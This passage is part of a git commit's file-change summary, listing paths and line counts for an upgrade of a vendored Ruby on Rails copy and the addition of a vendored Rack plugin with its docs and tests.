.../active_support/cache/mem_cache_store.rb | 7 +- .../cache/strategy/local_cache.rb | 104 + .../lib/active_support/callbacks.rb | 41 +- .../lib/active_support/core_ext.rb | 2 +- .../core_ext/array/conversions.rb | 22 +- .../lib/active_support/core_ext/benchmark.rb | 19 +- .../core_ext/cgi/escape_skipping_slashes.rb | 19 +- .../core_ext/class/attribute_accessors.rb | 48 +- .../core_ext/class/delegating_attributes.rb | 39 +- .../core_ext/class/inheritable_attributes.rb | 68 +- .../core_ext/date/conversions.rb | 6 +- .../core_ext/date_time/conversions.rb | 2 +- .../lib/active_support/core_ext/enumerable.rb | 9 + .../lib/active_support/core_ext/exception.rb | 20 +- .../active_support/core_ext/file/atomic.rb | 4 +- .../core_ext/hash/conversions.rb | 81 +- .../lib/active_support/core_ext/hash/keys.rb | 2 +- .../lib/active_support/core_ext/hash/slice.rb | 9 +- .../lib/active_support/core_ext/logger.rb | 14 +- .../core_ext/module/aliasing.rb | 6 +- .../module/attr_accessor_with_default.rb | 8 +- .../core_ext/module/attribute_accessors.rb | 48 +- .../core_ext/module/delegation.rb | 32 +- .../core_ext/module/synchronization.rb | 10 +- .../core_ext/object/conversions.rb | 3 +- .../active_support/core_ext/object/misc.rb | 16 + .../core_ext/range/conversions.rb | 2 +- .../lib/active_support/core_ext/rexml.rb | 55 +- .../core_ext/string/iterators.rb | 4 +- .../lib/active_support/core_ext/try.rb | 35 + .../lib/active_support/dependencies.rb | 32 +- .../lib/active_support/deprecation.rb | 67 +- .../lib/active_support/duration.rb | 2 + .../lib/active_support/inflector.rb | 11 +- .../lib/active_support/json/decoding.rb | 2 +- .../lib/active_support/json/encoders/date.rb | 2 +- .../active_support/json/encoders/date_time.rb | 2 +- .../lib/active_support/json/encoders/hash.rb | 4 +- .../lib/active_support/json/encoders/time.rb | 2 +- .../lib/active_support/json/encoding.rb | 52 +- .../lib/active_support/locale/en.yml | 5 +- .../lib/active_support/memoizable.rb | 100 +- .../lib/active_support/message_encryptor.rb | 70 + .../lib/active_support/message_verifier.rb | 46 + .../lib/active_support/multibyte/chars.rb | 8 + .../multibyte/unicode_database.rb | 8 +- .../lib/active_support/option_merger.rb | 8 +- .../lib/active_support/ordered_hash.rb | 106 +- .../lib/active_support/secure_random.rb | 14 +- .../lib/active_support/test_case.rb | 49 +- .../lib/active_support/testing/assertions.rb | 61 + .../lib/active_support/testing/declarative.rb | 21 + .../lib/active_support/testing/deprecation.rb | 55 + .../lib/active_support/testing/performance.rb | 2 +- .../testing/setup_and_teardown.rb | 156 +- .../lib/active_support/time_with_zone.rb | 19 +- .../lib/active_support/values/time_zone.rb | 1 + .../lib/active_support/vendor.rb | 17 +- .../vendor/i18n-0.1.1/.gitignore | 3 + .../vendor/i18n-0.1.1/MIT-LICENSE | 20 + .../vendor/i18n-0.1.1/README.textile | 20 + .../active_support/vendor/i18n-0.1.1/Rakefile | 5 + .../vendor/i18n-0.1.1/i18n.gemspec | 27 + .../{i18n-0.0.1 => i18n-0.1.1/lib}/i18n.rb | 79 +- .../lib}/i18n/backend/simple.rb | 66 +- .../lib}/i18n/exceptions.rb | 6 +- .../vendor/i18n-0.1.1/test/all.rb | 5 + .../i18n-0.1.1/test/i18n_exceptions_test.rb | 100 + .../vendor/i18n-0.1.1/test/i18n_test.rb | 125 + .../vendor/i18n-0.1.1/test/locale/en.rb | 1 + .../vendor/i18n-0.1.1/test/locale/en.yml | 3 + .../i18n-0.1.1/test/simple_backend_test.rb | 524 +++++ .../memcache.rb | 463 ++-- .../vendor/xml-simple-1.0.11/xmlsimple.rb | 1021 --------- .../lib/active_support/version.rb | 4 +- .../lib/active_support/xml_mini.rb | 113 + .../rails/activesupport/test/abstract_unit.rb | 49 +- .../test/buffered_logger_test.rb | 6 + .../rails/activesupport/test/caching_test.rb | 169 +- .../activesupport/test/callbacks_test.rb | 42 +- .../test/clean_backtrace_test.rb | 47 + .../test/core_ext/array_ext_test.rb | 37 +- .../test/core_ext/date_ext_test.rb | 68 +- .../test/core_ext/date_time_ext_test.rb | 114 +- .../test/core_ext/duration_test.rb | 122 +- .../test/core_ext/enumerable_test.rb | 11 + .../test/core_ext/hash_ext_test.rb | 38 +- .../test/core_ext/integer_ext_test.rb | 4 +- .../test/core_ext/module/model_naming_test.rb | 8 +- .../test/core_ext/module_test.rb | 27 + .../core_ext/object_and_class_ext_test.rb | 33 + .../test/core_ext/object_ext_test.rb | 8 + .../test/core_ext/string_ext_test.rb | 4 +- .../test/core_ext/time_ext_test.rb | 138 +- .../test/core_ext/time_with_zone_test.rb | 156 +- .../activesupport/test/deprecation_test.rb | 28 +- vendor/rails/activesupport/test/i18n_test.rb | 29 +- .../activesupport/test/inflector_test.rb | 6 + .../test/inflector_test_cases.rb | 15 +- .../activesupport/test/json/decoding_test.rb | 3 +- .../activesupport/test/json/encoding_test.rb | 20 +- .../activesupport/test/memoizable_test.rb | 412 ++-- .../test/message_encryptor_test.rb | 46 + .../test/message_verifier_test.rb | 25 + .../test/multibyte_chars_test.rb | 4 + .../test/multibyte_unicode_database_test.rb | 6 - .../activesupport/test/option_merger_test.rb | 8 + .../activesupport/test/ordered_hash_test.rb | 89 +- vendor/rails/activesupport/test/test_test.rb | 19 +- .../activesupport/test/time_zone_test.rb | 78 +- vendor/rails/ci/ci_build.rb | 117 + vendor/rails/ci/ci_setup_notes.txt | 131 ++ vendor/rails/ci/cruise_config.rb | 6 + vendor/rails/ci/geminstaller.yml | 23 + vendor/rails/ci/site.css | 13 + vendor/rails/ci/site_config.rb | 72 + vendor/rails/railties/CHANGELOG | 459 ++-- vendor/rails/railties/MIT-LICENSE | 2 +- vendor/rails/railties/README | 25 +- vendor/rails/railties/Rakefile | 48 +- vendor/rails/railties/bin/performance/request | 3 - vendor/rails/railties/bin/process/inspector | 3 - vendor/rails/railties/bin/process/reaper | 3 - vendor/rails/railties/bin/process/spawner | 3 - vendor/rails/railties/bin/rails | 1 + .../railties/builtin/rails_info/rails/info.rb | 16 +- vendor/rails/railties/config.ru | 17 - vendor/rails/railties/configs/apache.conf | 40 - .../railties/configs/databases/mysql.yml | 3 + .../initializers/backtrace_silencers.rb | 7 + .../initializers/new_rails_defaults.rb | 2 + .../configs/initializers/session_store.rb | 15 + vendor/rails/railties/configs/lighttpd.conf | 54 - vendor/rails/railties/dispatches/config.ru | 7 + vendor/rails/railties/doc/README_FOR_APP | 7 +- .../rails/railties/doc/guides/asciidoc.conf | 26 + .../doc/guides/html/2_2_release_notes.html | 672 ++---- .../doc/guides/html/2_3_release_notes.html | 1033 +++++++++ .../doc/guides/html/action_mailer_basics.html | 739 ++++++ .../guides/html/actioncontroller_basics.html | 778 +++---- .../doc/guides/html/active_record_basics.html | 342 +++ .../guides/html/active_record_querying.html | 932 ++++++++ .../activerecord_validations_callbacks.html | 1388 ++++++++---- .../doc/guides/html/association_basics.html | 1206 ++++------ .../railties/doc/guides/html/authors.html | 247 +- .../html/benchmarking_and_profiling.html | 1018 --------- .../doc/guides/html/caching_with_rails.html | 521 ++--- .../doc/guides/html/command_line.html | 530 +++-- .../railties/doc/guides/html/configuring.html | 684 +++--- .../doc/guides/html/creating_plugins.html | 1748 +++++++------- .../html/debugging_rails_applications.html | 661 ++---- .../railties/doc/guides/html/finders.html | 1090 --------- .../doc/guides/html/form_helpers.html | 1011 ++++++--- .../html/getting_started_with_rails.html | 1509 ++++++------- .../rails/railties/doc/guides/html/i18n.html | 1274 +++++++++++ .../rails/railties/doc/guides/html/index.html | 309 +-- .../guides/html/layouts_and_rendering.html | 944 ++++---- .../railties/doc/guides/html/migrations.html | 652 ++---- .../doc/guides/html/performance_testing.html | 728 ++++++ .../doc/guides/html/rails_on_rack.html | 450 ++++ .../doc/guides/html/routing_outside_in.html | 2002 ++++++----------- .../railties/doc/guides/html/security.html | 1039 ++++----- .../html/testing_rails_applications.html | 1482 +++++------- .../doc/guides/source/2_2_release_notes.txt | 8 +- .../doc/guides/source/2_3_release_notes.txt | 514 +++++ .../guides/source/action_mailer_basics.txt | 483 ++++ .../actioncontroller_basics/cookies.txt | 2 +- .../actioncontroller_basics/filters.txt | 4 +- .../actioncontroller_basics/http_auth.txt | 39 +- .../parameter_filtering.txt | 4 +- .../request_response_objects.txt | 6 +- .../actioncontroller_basics/session.txt | 33 +- .../actioncontroller_basics/streaming.txt | 2 +- .../actioncontroller_basics/verification.txt | 2 +- .../guides/source/active_record_basics.txt | 248 +- ...finders.txt => active_record_querying.txt} | 340 ++- .../activerecord_validations_callbacks.txt | 641 +++++- .../doc/guides/source/association_basics.txt | 24 +- .../railties/doc/guides/source/authors.txt | 18 + .../benchmarking_and_profiling/appendix.txt | 95 - .../digging_deeper.txt | 105 - .../edge_rails_features.txt | 185 -- .../benchmarking_and_profiling/gameplan.txt | 27 - .../benchmarking_and_profiling/index.txt | 242 -- .../benchmarking_and_profiling/rubyprof.txt | 179 -- .../benchmarking_and_profiling/statistics.txt | 57 - .../doc/guides/source/caching_with_rails.txt | 125 +- .../doc/guides/source/command_line.txt | 199 +- .../doc/guides/source/configuring.txt | 392 ++-- .../creating_plugins/acts_as_yaffle.txt | 2 +- .../source/creating_plugins/appendix.txt | 120 +- .../source/creating_plugins/controllers.txt | 8 +- .../source/creating_plugins/core_ext.txt | 33 +- .../creating_plugins/lib/main.rb | 4 + .../guides/source/creating_plugins/gems.txt | 50 + .../creating_plugins/generator_commands.txt | 144 ++ .../source/creating_plugins/generators.txt | 98 + .../source/creating_plugins/helpers.txt | 4 +- .../guides/source/creating_plugins/index.txt | 22 +- .../creating_plugins/migration_generator.txt | 156 -- .../source/creating_plugins/migrations.txt | 194 ++ .../guides/source/creating_plugins/models.txt | 12 +- .../source/creating_plugins/odds_and_ends.txt | 69 - .../guides/source/creating_plugins/rdoc.txt | 18 + .../{custom_route.txt => routes.txt} | 22 +- .../guides/source/creating_plugins/setup.txt | 84 + .../guides/source/creating_plugins/tasks.txt | 27 + .../source/creating_plugins/test_setup.txt | 3 - .../guides/source/creating_plugins/tests.txt | 165 ++ .../doc/guides/source/form_helpers.txt | 600 ++++- .../source/getting_started_with_rails.txt | 256 ++- .../rails/railties/doc/guides/source/i18n.txt | 936 ++++++++ .../images/customized_error_messages.png | Bin 0 -> 5055 bytes .../guides/source/images/error_messages.png | Bin 0 -> 8440 bytes .../images/i18n/demo_localized_pirate.png | Bin 0 -> 36500 bytes .../source/images/i18n/demo_translated_en.png | Bin 0 -> 32877 bytes .../images/i18n/demo_translated_pirate.png | Bin 0 -> 34506 bytes .../images/i18n/demo_translation_missing.png | Bin 0 -> 34373 bytes .../source/images/i18n/demo_untranslated.png | Bin 0 -> 32793 bytes .../doc/guides/source/images/posts_index.png | Bin 0 -> 5824 bytes .../guides/source/images/rails_welcome.png | Bin 0 -> 76496 bytes .../images/validation_error_messages.png | Bin 0 -> 1107 bytes .../railties/doc/guides/source/index.txt | 57 +- .../guides/source/layouts_and_rendering.txt | 119 +- .../doc/guides/source/migrations/index.txt | 2 +- .../source/migrations/rakeing_around.txt | 2 + .../doc/guides/source/performance_testing.txt | 560 +++++ .../doc/guides/source/rails_on_rack.txt | 256 +++ .../doc/guides/source/routing_outside_in.txt | 123 +- .../railties/doc/guides/source/security.txt | 2 +- .../doc/guides/source/stylesheets/base.css | 324 +-- .../doc/guides/source/stylesheets/forms.css | 8 +- .../doc/guides/source/stylesheets/more.css | 181 +- .../guides/source/templates/guides.html.erb | 169 +- .../doc/guides/source/templates/inline.css | 165 -- .../source/testing_rails_applications.txt | 187 +- .../railties/environments/environment.rb | 66 +- .../rails/railties/environments/production.rb | 17 +- vendor/rails/railties/environments/test.rb | 5 + vendor/rails/railties/helpers/application.rb | 15 - .../helpers/application_controller.rb | 10 + vendor/rails/railties/helpers/test_helper.rb | 2 +- vendor/rails/railties/html/index.html | 1 + vendor/rails/railties/lib/commands/about.rb | 2 +- .../rails/railties/lib/commands/dbconsole.rb | 20 +- .../lib/commands/performance/request.rb | 6 - .../lib/commands/process/inspector.rb | 68 - .../railties/lib/commands/process/reaper.rb | 149 -- .../railties/lib/commands/process/spawner.rb | 219 -- .../railties/lib/commands/process/spinner.rb | 57 - vendor/rails/railties/lib/commands/runner.rb | 20 +- vendor/rails/railties/lib/commands/server.rb | 126 +- .../railties/lib/commands/servers/base.rb | 31 - .../railties/lib/commands/servers/lighttpd.rb | 94 - .../railties/lib/commands/servers/mongrel.rb | 69 - .../lib/commands/servers/new_mongrel.rb | 16 - .../railties/lib/commands/servers/thin.rb | 25 - .../railties/lib/commands/servers/webrick.rb | 66 - vendor/rails/railties/lib/console_app.rb | 3 +- .../railties/lib/console_with_helpers.rb | 25 +- vendor/rails/railties/lib/dispatcher.rb | 2 +- vendor/rails/railties/lib/fcgi_handler.rb | 2 +- vendor/rails/railties/lib/initializer.rb | 111 +- .../railties/lib/rails/backtrace_cleaner.rb | 39 + .../railties/lib/rails/gem_dependency.rb | 1 + .../lib/rails/mongrel_server/commands.rb | 342 --- .../lib/rails/mongrel_server/handler.rb | 55 - vendor/rails/railties/lib/rails/plugin.rb | 49 +- .../rails/railties/lib/rails/plugin/loader.rb | 42 +- .../railties/lib/rails/plugin/locator.rb | 2 +- vendor/rails/railties/lib/rails/rack.rb | 4 +- .../rails/railties/lib/rails/rack/debugger.rb | 21 + .../railties/lib/rails/rack/log_tailer.rb | 35 + .../rails/railties/lib/rails/rack/logger.rb | 28 - vendor/rails/railties/lib/rails/rack/metal.rb | 36 + .../rails/railties/lib/rails/rack/static.rb | 2 + vendor/rails/railties/lib/rails/version.rb | 4 +- .../railties/lib/rails_generator/base.rb | 3 + .../railties/lib/rails_generator/commands.rb | 3 +- .../applications/app/app_generator.rb | 348 +-- .../generators/applications/app/scm/git.rb | 16 + .../generators/applications/app/scm/scm.rb | 8 + .../generators/applications/app/scm/svn.rb | 7 + .../applications/app/template_runner.rb | 375 +++ .../generators/components/controller/USAGE | 23 +- .../controller/controller_generator.rb | 8 +- .../controller/templates/helper_test.rb | 4 + .../generators/components/helper/USAGE | 24 + .../components/helper/helper_generator.rb | 25 + .../components/helper/templates/helper.rb | 2 + .../helper/templates/helper_test.rb | 4 + .../generators/components/metal/USAGE | 8 + .../components/metal/metal_generator.rb | 8 + .../components/metal/templates/metal.rb | 12 + .../generators/components/resource/USAGE | 4 +- .../components/resource/resource_generator.rb | 2 + .../resource/templates/helper_test.rb | 4 + .../components/scaffold/scaffold_generator.rb | 2 + .../scaffold/templates/helper_test.rb | 4 + .../rails_generator/secret_key_generator.rb | 2 + .../rails/railties/lib/tasks/databases.rake | 18 +- .../rails/railties/lib/tasks/framework.rake | 27 +- vendor/rails/railties/lib/tasks/gems.rake | 4 +- .../rails/railties/lib/tasks/middleware.rake | 7 + vendor/rails/railties/lib/tasks/misc.rake | 7 + .../rails/railties/lib/tasks/statistics.rake | 1 - vendor/rails/railties/lib/tasks/testing.rake | 8 +- vendor/rails/railties/lib/tasks/tmp.rake | 4 +- vendor/rails/railties/lib/test_help.rb | 24 +- vendor/rails/railties/lib/webrick_server.rb | 1 - vendor/rails/railties/test/abstract_unit.rb | 12 +- .../railties/test/backtrace_cleaner_test.rb | 28 + .../rails/railties/test/console_app_test.rb | 10 + vendor/rails/railties/test/error_page_test.rb | 11 +- .../railties/test/fcgi_dispatcher_test.rb | 56 +- .../app/controllers/engine_controller.rb | 2 + .../engines/engine/app/models/engine_model.rb | 2 + .../plugins/engines/engine/config/routes.rb | 3 + .../fixtures/plugins/engines/engine/init.rb | 3 + .../railties/test/gem_dependency_test.rb | 37 +- .../test/generators/generator_test_helper.rb | 35 +- .../rails_controller_generator_test.rb | 28 +- .../generators/rails_helper_generator_test.rb | 36 + .../rails_resource_generator_test.rb | 4 +- .../rails_scaffold_generator_test.rb | 7 +- .../generators/rails_template_runner_test.rb | 190 ++ .../rails/railties/test/initializer_test.rb | 22 +- .../rails/railties/test/plugin_loader_test.rb | 273 +-- .../railties/test/plugin_locator_test.rb | 2 +- .../test/rails_info_controller_test.rb | 2 +- vendor/rails/railties/test/rails_info_test.rb | 10 +- .../test/secret_key_generation_test.rb | 4 +- .../gems/dummy-gem-f-1.0.0/.specification | 39 + .../gems/dummy-gem-f-1.0.0/lib/dummy-gem-f.rb | 1 + .../gems/dummy-gem-g-1.0.0/.specification | 39 + .../gems/dummy-gem-g-1.0.0/lib/dummy-gem-g.rb | 1 + 893 files changed, 71965 insertions(+), 28511 deletions(-) rename app/controllers/{application.rb => application_controller.rb} (98%) create mode 100644 vendor/plugins/rack/AUTHORS create mode 100644 vendor/plugins/rack/COPYING create mode 100644 vendor/plugins/rack/ChangeLog create mode 100644 vendor/plugins/rack/KNOWN-ISSUES create mode 100644 vendor/plugins/rack/RDOX create mode 100644 vendor/plugins/rack/README create mode 100644 vendor/plugins/rack/Rakefile create mode 100644 vendor/plugins/rack/SPEC create mode 100755 vendor/plugins/rack/bin/rackup create mode 100644 vendor/plugins/rack/contrib/rack_logo.svg create mode 100644 vendor/plugins/rack/doc/classes/L2.html create mode 100644 vendor/plugins/rack/doc/classes/Rack.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Adapter.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Adapter/Camping.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/Basic.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/Basic/Request.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/Digest.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/OpenID.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Auth/OpenID/NoSession.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Builder.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Cascade.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/CommonLogger.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/ConditionalGet.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/ContentLength.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Deflater.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Directory.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/File.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/ForwardRequest.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Forwarder.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/CGI.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/EventedMongrel.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/FastCGI.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/LSWS.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/Mongrel.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/SCGI.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/SwiftipliedMongrel.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/Thin.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Handler/WEBrick.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Head.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Lint.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Lobster.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/MethodOverride.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Mime.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/MockRequest.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarner.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/MockRequest/FatalWarning.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/MockResponse.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Recursive.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Reloader.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Request.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Response.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Response/Helpers.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Session.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Session/Cookie.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Session/Memcache.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Session/Pool.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/ShowExceptions.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/ShowStatus.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Static.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/URLMap.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils/Context.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils/HeaderHash.html create mode 100644 vendor/plugins/rack/doc/classes/Rack/Utils/Multipart.html create mode 100644 vendor/plugins/rack/doc/created.rid create mode 100644 vendor/plugins/rack/doc/files/KNOWN-ISSUES.html create mode 100644 vendor/plugins/rack/doc/files/RDOX.html create mode 100644 vendor/plugins/rack/doc/files/README.html create mode 100644 vendor/plugins/rack/doc/files/SPEC.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/adapter/camping_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/auth/basic_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/auth/openid_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/builder_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/cascade_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/commonlogger_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/conditionalget_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/content_length_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/deflater_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/directory_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/file_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/forward_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/cgi_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/evented_mongrel_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/fastcgi_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/lsws_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/mongrel_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/scgi_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/swiftiplied_mongrel_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/thin_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler/webrick_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/handler_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/head_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/lint_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/lobster_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/methodoverride_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/mime_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/mock_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/recursive_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/reloader_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/request_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/response_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/session/cookie_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/session/memcache_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/session/pool_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/showexceptions_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/showstatus_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/static_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/urlmap_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack/utils_rb.html create mode 100644 vendor/plugins/rack/doc/files/lib/rack_rb.html create mode 100644 vendor/plugins/rack/doc/fr_class_index.html create mode 100644 vendor/plugins/rack/doc/fr_file_index.html create mode 100644 vendor/plugins/rack/doc/fr_method_index.html create mode 100644 vendor/plugins/rack/doc/index.html create mode 100644 vendor/plugins/rack/doc/rdoc-style.css create mode 100644 vendor/plugins/rack/example/lobster.ru create mode 100644 vendor/plugins/rack/example/protectedlobster.rb create mode 100644 vendor/plugins/rack/example/protectedlobster.ru create mode 100644 vendor/plugins/rack/lib/rack.rb create mode 100644 vendor/plugins/rack/lib/rack/adapter/camping.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/abstract/handler.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/abstract/request.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/basic.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/digest/md5.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/digest/nonce.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/digest/params.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/digest/request.rb create mode 100644 vendor/plugins/rack/lib/rack/auth/openid.rb create mode 100644 vendor/plugins/rack/lib/rack/builder.rb create mode 100644 vendor/plugins/rack/lib/rack/cascade.rb create mode 100644 vendor/plugins/rack/lib/rack/commonlogger.rb create mode 100644 vendor/plugins/rack/lib/rack/conditionalget.rb create mode 100644 vendor/plugins/rack/lib/rack/content_length.rb create mode 100644 vendor/plugins/rack/lib/rack/deflater.rb create mode 100644 vendor/plugins/rack/lib/rack/directory.rb create mode 100644 vendor/plugins/rack/lib/rack/file.rb create mode 100644 vendor/plugins/rack/lib/rack/handler.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/cgi.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/evented_mongrel.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/fastcgi.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/lsws.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/mongrel.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/scgi.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/swiftiplied_mongrel.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/thin.rb create mode 100644 vendor/plugins/rack/lib/rack/handler/webrick.rb create mode 100644 vendor/plugins/rack/lib/rack/head.rb create mode 100644 vendor/plugins/rack/lib/rack/lint.rb create mode 100644 vendor/plugins/rack/lib/rack/lobster.rb create mode 100644 vendor/plugins/rack/lib/rack/methodoverride.rb create mode 100644 vendor/plugins/rack/lib/rack/mime.rb create mode 100644 vendor/plugins/rack/lib/rack/mock.rb create mode 100644 vendor/plugins/rack/lib/rack/recursive.rb create mode 100644 vendor/plugins/rack/lib/rack/reloader.rb create mode 100644 vendor/plugins/rack/lib/rack/request.rb create mode 100644 vendor/plugins/rack/lib/rack/response.rb create mode 100644 vendor/plugins/rack/lib/rack/session/abstract/id.rb create mode 100644 vendor/plugins/rack/lib/rack/session/cookie.rb create mode 100644 vendor/plugins/rack/lib/rack/session/memcache.rb create mode 100644 vendor/plugins/rack/lib/rack/session/pool.rb create mode 100644 vendor/plugins/rack/lib/rack/showexceptions.rb create mode 100644 vendor/plugins/rack/lib/rack/showstatus.rb create mode 100644 vendor/plugins/rack/lib/rack/static.rb create mode 100644 vendor/plugins/rack/lib/rack/urlmap.rb create mode 100644 vendor/plugins/rack/lib/rack/utils.rb create mode 100644 vendor/plugins/rack/test/cgi/lighttpd.conf create mode 100755 vendor/plugins/rack/test/cgi/test create mode 100755 vendor/plugins/rack/test/cgi/test.fcgi create mode 100755 vendor/plugins/rack/test/cgi/test.ru create mode 100644 vendor/plugins/rack/test/spec_rack_auth_basic.rb create mode 100644 vendor/plugins/rack/test/spec_rack_auth_digest.rb create mode 100644 vendor/plugins/rack/test/spec_rack_auth_openid.rb create mode 100644 vendor/plugins/rack/test/spec_rack_builder.rb create mode 100644 vendor/plugins/rack/test/spec_rack_camping.rb create mode 100644 vendor/plugins/rack/test/spec_rack_cascade.rb create mode 100644 vendor/plugins/rack/test/spec_rack_cgi.rb create mode 100644 vendor/plugins/rack/test/spec_rack_commonlogger.rb create mode 100644 vendor/plugins/rack/test/spec_rack_conditionalget.rb create mode 100644 vendor/plugins/rack/test/spec_rack_content_length.rb create mode 100644 vendor/plugins/rack/test/spec_rack_deflater.rb create mode 100644 vendor/plugins/rack/test/spec_rack_directory.rb create mode 100644 vendor/plugins/rack/test/spec_rack_fastcgi.rb create mode 100644 vendor/plugins/rack/test/spec_rack_file.rb create mode 100644 vendor/plugins/rack/test/spec_rack_handler.rb create mode 100644 vendor/plugins/rack/test/spec_rack_head.rb create mode 100644 vendor/plugins/rack/test/spec_rack_lint.rb create mode 100644 vendor/plugins/rack/test/spec_rack_lobster.rb create mode 100644 vendor/plugins/rack/test/spec_rack_methodoverride.rb create mode 100644 vendor/plugins/rack/test/spec_rack_mock.rb create mode 100644 vendor/plugins/rack/test/spec_rack_mongrel.rb create mode 100644 vendor/plugins/rack/test/spec_rack_recursive.rb create mode 100644 vendor/plugins/rack/test/spec_rack_request.rb create mode 100644 vendor/plugins/rack/test/spec_rack_response.rb create mode 100644 vendor/plugins/rack/test/spec_rack_session_cookie.rb create mode 100644 vendor/plugins/rack/test/spec_rack_session_memcache.rb create mode 100644 vendor/plugins/rack/test/spec_rack_session_pool.rb create mode 100644 vendor/plugins/rack/test/spec_rack_showexceptions.rb create mode 100644 